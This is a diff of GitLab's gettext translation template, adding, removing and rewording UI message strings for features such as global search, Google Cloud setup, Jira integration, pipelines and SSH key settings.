msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
